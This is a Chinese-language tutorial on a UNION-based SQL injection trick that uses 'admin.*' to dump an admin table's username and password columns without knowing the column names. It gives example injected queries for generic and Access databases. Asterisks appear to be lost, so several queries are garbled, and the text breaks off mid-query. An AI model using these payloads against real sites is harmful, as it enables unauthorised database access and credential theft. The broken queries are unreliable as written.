简介

这种注入方式合适在找到表找不到字段的情况下使用。 这种注入方式需要联合两个表所以这种注入也是联合查询的一种。#### 原理 在SQL中查询 select from admin 星号代表所有字段。而且 select from admin 的结果等于以下几种结果select admin. from admin select admin.id,admin.username,admin.password from admin select id,username,password from admin 在使用移位溢出这种注入方法,需要确定当前表的,字段数表article的字段为3个使用联合语句把另外一个表联合进来查询select from article where id=1 union select 1,2,3 from admin admin的表的字段数同样也是3个把admin.替换1,2,3select from article where id=1 union select admin. from admin语句并没有报错因为列数一样同样也会显示表admin里面的字段数据 把语句改成这样就会只显示表admin的数据select from article where id=-1 union select admin. from admin使用这种方法 当前表的字段大于或等于联合的表 这里当前表就是article联合的表就是admin### 其他数据库 在其他数据库中也可以使用这种方法,例如accessselect from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from adminproduct的表字段数为26select from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12, from admin这里的星号代表admin的字段数所以用26-13=13所以admin的字段个数为13用admin. 替换这里的 星号select from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12, admin. from admin这样同样也是可以执行语句获取数据,也可以将admin.放到其他列select from product where id=100 union select admin.,2,3,4,5,6,7,8,9,10,11,12,13 from admin同样也是可以执行的。 同样星号也可以放在其他位置select from product where id=100 union select ,2,3,4,5,6,7,8,9,10,11,12,13 from adminselect from product where id=100 union select admin.,2,3,4,5,6,7,8,9,10,11,12,13 from